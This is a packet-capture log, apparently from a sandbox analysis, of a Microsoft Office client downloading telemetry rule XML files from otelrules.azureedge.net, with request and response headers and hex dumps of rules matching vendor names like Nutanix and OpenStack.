2024-10-07 19:53:16 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49807	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:16 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 2f3972b1-401e-0035-1b02-1782d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195316Z-1657d5bbd48tnj6wmberkg2xy8000000040g00000000gh3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:16 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49806	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:16 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: cc92db4a-701e-0053-3460-173a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195316Z-1657d5bbd48xsz2nuzq4vfrzg800000003vg000000007sy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49804	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:16 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:16 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: cb78c1b2-201e-003f-2e04-176d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195316Z-1657d5bbd48dfrdj7px744zp8s00000003kg00000000y0z1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:16 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49805	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:16 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:16 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 27b6de9f-001e-0046-1e00-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195316Z-1657d5bbd48qjg85buwfdynm5w000000042g0000000095sv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:16 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49861	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:16 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:16 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 1d7d761e-d01e-005a-76ef-187fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195316Z-1657d5bbd48vhs7r2p1ky7cs5w00000004b0000000002n71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:16 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49863	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:16 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:16 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 3a03d6b9-d01e-0066-52e9-16ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195316Z-1657d5bbd48lknvp09v995n79000000003k000000000h7g5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:16 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49862	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:16 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:16 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: cde3aec9-601e-0084-63e5-166b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195316Z-1657d5bbd4824mj9d6vp65b6n4000000045g00000000b1fm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:16 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49865	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:16 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:16 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 46a5aa72-701e-0032-6004-17a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195316Z-1657d5bbd48vhs7r2p1ky7cs5w0000000440000000010r0x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:16 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49864	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:16 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:16 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 27cd2a1a-001e-0046-1b08-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195316Z-1657d5bbd48brl8we3nu8cxwgn000000048g00000000duaw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:16 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49867	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:17 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:17 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8d044b15-901e-00ac-3902-17b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195317Z-1657d5bbd48vhs7r2p1ky7cs5w000000047000000000n8yd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:18 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49869	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:17 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:17 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: b0fdb72d-401e-0015-37ce-160e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195317Z-1657d5bbd48xdq5dkwwugdpzr0000000045g00000000z5eq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49868	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:17 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
